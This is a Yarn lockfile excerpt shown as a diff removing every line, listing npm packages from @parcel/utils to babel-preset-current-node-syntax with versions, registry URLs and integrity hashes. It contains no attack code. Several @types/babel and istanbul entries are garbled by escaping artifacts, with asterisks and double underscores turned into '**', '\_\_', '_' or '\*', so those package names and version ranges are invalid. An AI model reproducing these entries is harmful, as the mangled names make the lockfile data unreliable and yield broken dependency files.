-grapheme-breaker "^0.3.2"
-ora "^2.1.0"
-strip-ansi "^4.0.0"
-
-"@parcel/utils@^1.11.0":
-version "1.11.0"
-resolved "https://registry.yarnpkg.com/@parcel/utils/-/utils-1.11.0.tgz#539e08fff8af3b26eca11302be80b522674b51ea"
-integrity sha512-cA3p4jTlaMeOtAKR/6AadanOPvKeg8VwgnHhOyfi0yClD0TZS/hi9xu12w4EzA/8NtHu0g6o4RDfcNjqN8l1AQ==
-
-"@parcel/watcher@^1.12.1":
-version "1.12.1"
-resolved "https://registry.yarnpkg.com/@parcel/watcher/-/watcher-1.12.1.tgz#b98b3df309fcab93451b5583fc38e40826696dad"
-integrity sha512-od+uCtCxC/KoNQAIE1vWx1YTyKYY+7CTrxBJPRh3cDWw/C0tCtlBMVlrbplscGoEpt6B27KhJDCv82PBxOERNA==
-dependencies:
-"@parcel/utils" "^1.11.0"
-chokidar "^2.1.5"
-
-"@parcel/workers@^1.11.0":
-version "1.11.0"
-resolved "https://registry.yarnpkg.com/@parcel/workers/-/workers-1.11.0.tgz#7b8dcf992806f4ad2b6cecf629839c41c2336c59"
-integrity sha512-USSjRAAQYsZFlv43FUPdD+jEGML5/8oLF0rUzPQTtK4q9kvaXr49F5ZplyLz5lox78cLZ0TxN2bIDQ1xhOkulQ==
-dependencies:
-"@parcel/utils" "^1.11.0"
-physical-cpu-count "^2.0.0"
-
-"@rstacruz/prettier-plugin-markdown-code-fences@^1.0.0":
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/@rstacruz/prettier-plugin-markdown-code-fences/-/prettier-plugin-markdown-code-fences-1.0.0.tgz#b432eed2db4726abe2c3efaa75c12322976a8ab6"
-integrity sha512-p/P6BH6tGoCbgMemimUIXJSwi5enZ/HhLupATlPqJmjal00gociP1lbbUQEs97PWjLsgmY3kKu30yKzMSIs0mA==
-
-"@sinonjs/commons@^1.7.0":
-version "1.8.0"
-resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.8.0.tgz#c8d68821a854c555bba172f3b06959a0039b236d"
-integrity sha512-wEj54PfsZ5jGSwMX68G8ZXFawcSglQSXqCftWX3ec8MDUzQdHgcKvw97awHbY0efQEL5iKUOAmmVtoYgmrSG4Q==
-dependencies:
-type-detect "4.0.8"
-
-"@sinonjs/fake-timers@^6.0.1":
-version "6.0.1"
-resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz#293674fccb3262ac782c7aadfdeca86b10c75c40"
-integrity sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==
-dependencies:
-"@sinonjs/commons" "^1.7.0"
-
-"@types/babel**core@^7.1.7":
-version "7.1.8"
-resolved "https://registry.yarnpkg.com/@types/babel**core/-/babel**core-7.1.8.tgz#057f725aca3641f49fc11c7a87a9de5ec588a5d7"
-integrity sha512-KXBiQG2OXvaPWFPDS1rD8yV9vO0OuWIqAEqLsbfX0oU2REN5KuoMnZ1gClWcBhO5I3n6oTVAmrMufOvRqdmFTQ==
-dependencies:
-"@babel/parser" "^7.1.0"
-"@babel/types" "^7.0.0"
-"@types/babel**generator" "_"
-"@types/babel\_\_template" "_"
-"@types/babel\_\_traverse" "\*"
-
-"@types/babel**generator@\*":
-version "7.6.1"
-resolved "https://registry.yarnpkg.com/@types/babel**generator/-/babel\_\_generator-7.6.1.tgz#4901767b397e8711aeb99df8d396d7ba7b7f0e04"
-integrity sha512-bBKm+2VPJcMRVwNhxKu8W+5/zT7pwNEqeokFOmbvVSqGzFneNxYcEBro9Ac7/N9tlsaPYnZLK8J1LWKkMsLAew==
-dependencies:
-"@babel/types" "^7.0.0"
-
-"@types/babel**template@\*":
-version "7.0.2"
-resolved "https://registry.yarnpkg.com/@types/babel**template/-/babel\_\_template-7.0.2.tgz#4ff63d6b52eddac1de7b975a5223ed32ecea9307"
-integrity sha512-/K6zCpeW7Imzgab2bLkLEbz0+1JlFSrUMdw7KoIIu+IUdu51GWaBZpd3y1VXGVXzynvGa4DaIaxNZHiON3GXUg==
-dependencies:
-"@babel/parser" "^7.1.0"
-"@babel/types" "^7.0.0"
-
-"@types/babel**traverse@\*", "@types/babel**traverse@^7.0.6":
-version "7.0.12"
-resolved "https://registry.yarnpkg.com/@types/babel__traverse/-/babel__traverse-7.0.12.tgz#22f49a028e69465390f87bb103ebd61bd086b8f5"
-integrity sha512-t4CoEokHTfcyfb4hUaF9oOHu9RmmNWnm1CP0YmMqOOfClKascOmvlEM736vlqeScuGvBDsHkf8R2INd4DWreQA==
-dependencies:
-"@babel/types" "^7.3.0"
-
-"@types/color-name@^1.1.1":
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/@types/color-name/-/color-name-1.1.1.tgz#1c1261bbeaa10a8055bbc5d8ab84b7b2afc846a0"
-integrity sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==
-
-"@types/graceful-fs@^4.1.2":
-version "4.1.3"
-resolved "https://registry.yarnpkg.com/@types/graceful-fs/-/graceful-fs-4.1.3.tgz#039af35fe26bec35003e8d86d2ee9c586354348f"
-integrity sha512-AiHRaEB50LQg0pZmm659vNBb9f4SJ0qrAnteuzhSeAUcJKxoYgEnprg/83kppCnc2zvtCKbdZry1a5pVY3lOTQ==
-dependencies:
-"@types/node" "\*"
-
-"@types/istanbul-lib-coverage@\*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1":
-version "2.0.3"
-resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz#4ba8ddb720221f432e443bd5f9117fd22cfd4762"
-integrity sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==
-
-"@types/istanbul-lib-report@_":
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686"
-integrity sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==
-dependencies:
-"@types/istanbul-lib-coverage" "_"
-
-"@types/istanbul-reports@^1.1.1":
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz#e875cc689e47bce549ec81f3df5e6f6f11cfaeb2"
-integrity sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==
-dependencies:
-"@types/istanbul-lib-coverage" "_"
-"@types/istanbul-lib-report" "_"
-
-"@types/node@\*":
-version "14.0.13"
-resolved "https://registry.yarnpkg.com/@types/node/-/node-14.0.13.tgz#ee1128e881b874c371374c1f72201893616417c9"
-integrity sha512-rouEWBImiRaSJsVA+ITTFM6ZxibuAlTuNOCyxVbwreu6k6+ujs7DfnU9o+PShFhET78pMBl3eH+AGSI5eOTkPA==
-
-"@types/normalize-package-data@^2.4.0":
-version "2.4.0"
-resolved "https://registry.yarnpkg.com/@types/normalize-package-data/-/normalize-package-data-2.4.0.tgz#e486d0d97396d79beedd0a6e33f4534ff6b4973e"
-integrity sha512-f5j5b/Gf71L+dbqxIpQ4Z2WlmI/mPJ0fOkGGmFgtb6sAu97EPczzbS3/tJKxmcYDj55OX6ssqwDAWOHIYDRDGA==
-
-"@types/prettier@^2.0.0":
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.0.1.tgz#b6e98083f13faa1e5231bfa3bdb1b0feff536b6d"
-integrity sha512-boy4xPNEtiw6N3abRhBi/e7hNvy3Tt8E9ZRAQrwAGzoCGZS/1wjo9KY7JHhnfnEsG5wSjDbymCozUM9a3ea7OQ==
-
-"@types/q@^1.5.1":
-version "1.5.4"
-resolved "https://registry.yarnpkg.com/@types/q/-/q-1.5.4.tgz#15925414e0ad2cd765bfef58842f7e26a7accb24"
-integrity sha512-1HcDas8SEj4z1Wc696tH56G8OlRaH/sqZOynNNB+HF0WOeXPaxTtbYzJY2oEfiUxjSKjhCKr+MvR7dCHcEelug==
-
-"@types/stack-utils@^1.0.1":
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-1.0.1.tgz#0a851d3bd96498fa25c33ab7278ed3bd65f06c3e"
-integrity sha512-l42BggppR6zLmpfU6fq9HEa2oGPEI8yrSPL3GITjfRInppYFahObbIQOQK3UGxEnyQpltZLaPe75046NOZQikw==
-
-"@types/yargs-parser@\*":
-version "15.0.0"
-resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-15.0.0.tgz#cb3f9f741869e20cce330ffbeb9271590483882d"
-integrity sha512-FA/BWv8t8ZWJ+gEOnLLd8ygxH/2UFbAvgEonyfN6yWGLKc7zVjbpl2Y4CTjid9h2RfgPP6SEt6uHwEOply00yw==
-
-"@types/yargs@^15.0.0":
-version "15.0.5"
-resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-15.0.5.tgz#947e9a6561483bdee9adffc983e91a6902af8b79"
-integrity sha512-Dk/IDOPtOgubt/IaevIUbTgV7doaKkoorvOyYM2CMwuDyP89bekI7H4xLIwunNYiK9jhCkmc6pUrJk3cj2AB9w==
-dependencies:
-"@types/yargs-parser" "\*"
-
-abab@^2.0.0, abab@^2.0.3:
-version "2.0.3"
-resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.3.tgz#623e2075e02eb2d3f2475e49f99c91846467907a"
-integrity sha512-tsFzPpcttalNjFBCFMqsKYQcWxxen1pgJR56by//QwvJc4/OUS3kPOOttx2tSIfjsylB0pYu7f5D3K1RCxUnUg==
-
-accepts@~1.3.4, accepts@~1.3.7:
-version "1.3.7"
-resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
-integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==
-dependencies:
-mime-types "~2.1.24"
-negotiator "0.6.2"
-
-acorn-globals@^4.3.0:
-version "4.3.4"
-resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-4.3.4.tgz#9fa1926addc11c97308c4e66d7add0d40c3272e7"
-integrity sha512-clfQEh21R+D0leSbUdWf3OcfqyaCSAQ8Ryq00bofSekfr9W8u1jyYZo6ir0xu9Gtcf7BjcHJpnbZH7JOCpP60A==
-dependencies:
-acorn "^6.0.1"
-acorn-walk "^6.0.1"
-
-acorn-globals@^6.0.0:
-version "6.0.0"
-resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-6.0.0.tgz#46cdd39f0f8ff08a876619b55f5ac8a6dc770b45"
-integrity sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==
-dependencies:
-acorn "^7.1.1"
-acorn-walk "^7.1.1"
-
-acorn-walk@^6.0.1:
-version "6.2.0"
-resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-6.2.0.tgz#123cb8f3b84c2171f1f7fb252615b1c78a6b1a8c"
-integrity sha512-7evsyfH1cLOCdAzZAd43Cic04yKydNx0cF+7tiA19p1XnLLPU4dpCQOqpjqwokFe//vS0QqfqqjCS2JkiIs0cA==
-
-acorn-walk@^7.1.1:
-version "7.1.1"
-resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.1.1.tgz#345f0dffad5c735e7373d2fec9a1023e6a44b83e"
-integrity sha512-wdlPY2tm/9XBr7QkKlq0WQVgiuGTX6YWPyRyBviSoScBuLfTVQhvwg6wJ369GJ/1nPfTLMfnrFIfjqVg6d+jQQ==
-
-acorn@^6.0.1, acorn@^6.0.4:
-version "6.4.1"
-resolved "https://registry.yarnpkg.com/acorn/-/acorn-6.4.1.tgz#531e58ba3f51b9dacb9a6646ca4debf5b14ca474"
-integrity sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==
-
-acorn@^7.1.1:
-version "7.3.1"
-resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.3.1.tgz#85010754db53c3fbaf3b9ea3e083aa5c5d147ffd"
-integrity sha512-tLc0wSnatxAQHVHUapaHdz72pi9KUyHjq5KyHjGg9Y8Ifdc79pTh2XvI6I1/chZbnM7QtNKzh66ooDogPZSleA==
-
-after@0.8.2:
-version "0.8.2"
-resolved "https://registry.yarnpkg.com/after/-/after-0.8.2.tgz#fedb394f9f0e02aa9768e702bda23b505fae7e1f"
-integrity sha1-/ts5T58OAqqXaOcCvaI7UF+ufh8=
-
-ajv@^6.5.5:
-version "6.12.2"
-resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.2.tgz#c629c5eced17baf314437918d2da88c99d5958cd"
-integrity sha512-k+V+hzjm5q/Mr8ef/1Y9goCmlsK4I6Sm74teeyGvFk1XrOsbsKLjEdrvny42CZ+a8sXbk8KWpY/bDwS+FLL2UQ==
-dependencies:
-fast-deep-equal "^3.1.1"
-fast-json-stable-stringify "^2.0.0"
-json-schema-traverse "^0.4.1"
-uri-js "^4.2.2"
-
-alphanum-sort@^1.0.0:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/alphanum-sort/-/alphanum-sort-1.0.2.tgz#97a1119649b211ad33691d9f9f486a8ec9fbe0a3"
-integrity sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=
-
-ansi-escapes@^4.2.1:
-version "4.3.1"
-resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.1.tgz#a5c47cc43181f1f38ffd7076837700d395522a61"
-integrity sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA==
-dependencies:
-type-fest "^0.11.0"
-
-ansi-regex@^2.0.0:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
-ansi-regex@^4.1.0:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997"
-integrity sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==
-
-ansi-regex@^5.0.0:
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
-integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==
-
-ansi-styles@^2.2.1:
-version "2.2.1"
-resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
-
-ansi-styles@^3.2.0, ansi-styles@^3.2.1:
-version "3.2.1"
-resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
-dependencies:
-color-convert "^1.9.0"
-
-ansi-styles@^4.0.0, ansi-styles@^4.1.0:
-version "4.2.1"
-resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.2.1.tgz#90ae75c424d008d2624c5bf29ead3177ebfcf359"
-integrity sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==
-dependencies:
-"@types/color-name" "^1.1.1"
-color-convert "^2.0.1"
-
-ansi-to-html@^0.6.4:
-version "0.6.14"
-resolved "https://registry.yarnpkg.com/ansi-to-html/-/ansi-to-html-0.6.14.tgz#65fe6d08bba5dd9db33f44a20aec331e0010dad8"
-integrity sha512-7ZslfB1+EnFSDO5Ju+ue5Y6It19DRnZXWv8jrGHgIlPna5Mh4jz7BV5jCbQneXNFurQcKoolaaAjHtgSBfOIuA==
-dependencies:
-entities "^1.1.2"
-
-anymatch@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-2.0.0.tgz#bcb24b4f37934d9aa7ac17b4adaf89e7c76ef2eb"
-integrity sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==
-dependencies:
-micromatch "^3.1.4"
-normalize-path "^2.1.1"
-
-anymatch@^3.0.3, anymatch@~3.1.1:
-version "3.1.1"
-resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142"
-integrity sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==
-dependencies:
-normalize-path "^3.0.0"
-picomatch "^2.0.4"
-
-argparse@^1.0.7:
-version "1.0.10"
-resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
-integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
-dependencies:
-sprintf-js "~1.0.2"
-
-arr-diff@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
-
-arr-flatten@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/arr-flatten/-/arr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1"
-integrity sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==
-
-arr-union@^3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
-
-array-equal@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/array-equal/-/array-equal-1.0.0.tgz#8c2a5ef2472fd9ea742b04c77a75093ba2757c93"
-integrity sha1-jCpe8kcv2ep0KwTHenUJO6J1fJM=
-
-array-flatten@1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
-integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
-
-array-union@^1.0.1:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/array-union/-/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39"
-integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=
-dependencies:
-array-uniq "^1.0.1"
-
-array-uniq@^1.0.1:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
-integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
-
-array-unique@^0.3.2:
-version "0.3.2"
-resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
-
-arraybuffer.slice@~0.0.7:
-version "0.0.7"
-resolved "https://registry.yarnpkg.com/arraybuffer.slice/-/arraybuffer.slice-0.0.7.tgz#3bbc4275dd584cc1b10809b89d4e8b63a69e7675"
-integrity sha512-wGUIVQXuehL5TCqQun8OW81jGzAWycqzFF8lFp+GOM5BXLYj3bKNsYC4daB7n6XjCqxQA/qgTJ+8ANR3acjrog==
-
-arrify@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
-integrity sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=
-
-asn1.js@^4.0.0:
-version "4.10.1"
-resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-4.10.1.tgz#b9c2bf5805f1e64aadeed6df3a2bfafb5a73f5a0"
-integrity sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==
-dependencies:
-bn.js "^4.0.0"
-inherits "^2.0.1"
-minimalistic-assert "^1.0.0"
-
-asn1@~0.2.3:
-version "0.2.4"
-resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
-integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
-dependencies:
-safer-buffer "~2.1.0"
-
-assert-plus@1.0.0, assert-plus@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
-
-assert@^1.1.1:
-version "1.5.0"
-resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
-integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==
-dependencies:
-object-assign "^4.1.1"
-util "0.10.3"
-
-assign-symbols@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
-
-async-each@^1.0.1:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.3.tgz#b727dbf87d7651602f06f4d4ac387f47d91b0cbf"
-integrity sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==
-
-async-limiter@~1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.1.tgz#dd379e94f0db8310b08291f9d64c3209766617fd"
-integrity sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==
-
-asynckit@^0.4.0:
-version "0.4.0"
-resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
-integrity sha1-x57Zf380y48robyXkLzDZkdLS3k=
-
-atob@^2.1.2:
-version "2.1.2"
-resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
-integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==
-
-autoprefixer@^9.8.2:
-version "9.8.2"
-resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-9.8.2.tgz#7347396ee576b18687041bfbacd76d78e27baa56"
-integrity sha512-9UwMMU8Rg7Fj0c55mbOpXrr/2WrRqoOwOlLNTyyYt+nhiyQdIBWipp5XWzt+Lge8r3DK5y+EHMc1OBf8VpZA6Q==
-dependencies:
-browserslist "^4.12.0"
-caniuse-lite "^1.0.30001084"
-kleur "^4.0.1"
-normalize-range "^0.1.2"
-num2fraction "^1.2.2"
-postcss "^7.0.32"
-postcss-value-parser "^4.1.0"
-
-aws-sign2@~0.7.0:
-version "0.7.0"
-resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
-
-aws4@^1.8.0:
-version "1.10.0"
-resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.10.0.tgz#a17b3a8ea811060e74d47d306122400ad4497ae2"
-integrity sha512-3YDiu347mtVtjpyV3u5kVqQLP242c06zwDOgpeRnybmXlYYsLbtTrUBUm8i8srONt+FWobl5aibnU1030PeeuA==
-
-axios@^0.19.2:
-version "0.19.2"
-resolved "https://registry.yarnpkg.com/axios/-/axios-0.19.2.tgz#3ea36c5d8818d0d5f8a8a97a6d36b86cdc00cb27"
-integrity sha512-fjgm5MvRHLhx+osE2xoekY70AhARk3a6hkN+3Io1jc00jtquGvxYlKlsFUhmUET0V5te6CcZI7lcv2Ym61mjHA==
-dependencies:
-follow-redirects "1.5.10"
-
-babel-jest@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-26.0.1.tgz#450139ce4b6c17174b136425bda91885c397bc46"
-integrity sha512-Z4GGmSNQ8pX3WS1O+6v3fo41YItJJZsVxG5gIQ+HuB/iuAQBJxMTHTwz292vuYws1LnHfwSRgoqI+nxdy/pcvw==
-dependencies:
-"@jest/transform" "^26.0.1"
-"@jest/types" "^26.0.1"
-"@types/babel\_\_core" "^7.1.7"
-babel-plugin-istanbul "^6.0.0"
-babel-preset-jest "^26.0.0"
-chalk "^4.0.0"
-graceful-fs "^4.2.4"
-slash "^3.0.0"
-
-babel-plugin-dynamic-import-node@^2.3.3:
-version "2.3.3"
-resolved "https://registry.yarnpkg.com/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz#84fda19c976ec5c6defef57f9427b3def66e17a3"
-integrity sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==
-dependencies:
-object.assign "^4.1.0"
-
-babel-plugin-istanbul@^6.0.0:
-version "6.0.0"
-resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-6.0.0.tgz#e159ccdc9af95e0b570c75b4573b7c34d671d765"
-integrity sha512-AF55rZXpe7trmEylbaE1Gv54wn6rwU03aptvRoVIGP8YykoSxqdVLV1TfwflBCE/QtHmqtP8SWlTENqbK8GCSQ==
-dependencies:
-"@babel/helper-plugin-utils" "^7.0.0"
-"@istanbuljs/load-nyc-config" "^1.0.0"
-"@istanbuljs/schema" "^0.1.2"
-istanbul-lib-instrument "^4.0.0"
-test-exclude "^6.0.0"
-
-babel-plugin-jest-hoist@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-26.0.0.tgz#fd1d35f95cf8849fc65cb01b5e58aedd710b34a8"
-integrity sha512-+AuoehOrjt9irZL7DOt2+4ZaTM6dlu1s5TTS46JBa0/qem4dy7VNW3tMb96qeEqcIh20LD73TVNtmVEeymTG7w==
-dependencies:
-"@babel/template" "^7.3.3"
-"@babel/types" "^7.3.3"
-"@types/babel\_\_traverse" "^7.0.6"
-
-babel-polyfill@6.26.0:
-version "6.26.0"
-resolved "https://registry.yarnpkg.com/babel-polyfill/-/babel-polyfill-6.26.0.tgz#379937abc67d7895970adc621f284cd966cf2153"
-integrity sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=
-dependencies:
-babel-runtime "^6.26.0"
-core-js "^2.5.0"
-regenerator-runtime "^0.10.5"
-
-babel-preset-current-node-syntax@^0.1.2:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-0.1.2.tgz#fb4a4c51fe38ca60fede1dc74ab35eb843cb41d6"
-integrity sha512-u/8cS+dEiK1SFILbOC8/rUI3ml9lboKuuMvZ/4aQnQmhecQAgPw5ew066C1ObnEAUmlx7dv/s2z52psWEtLNiw==
-dependencies:
-"@babel/plugin-syntax-async-generators" "^7.8.4"
-"@babel/plugin-syntax-bigint" "^7.8.3"
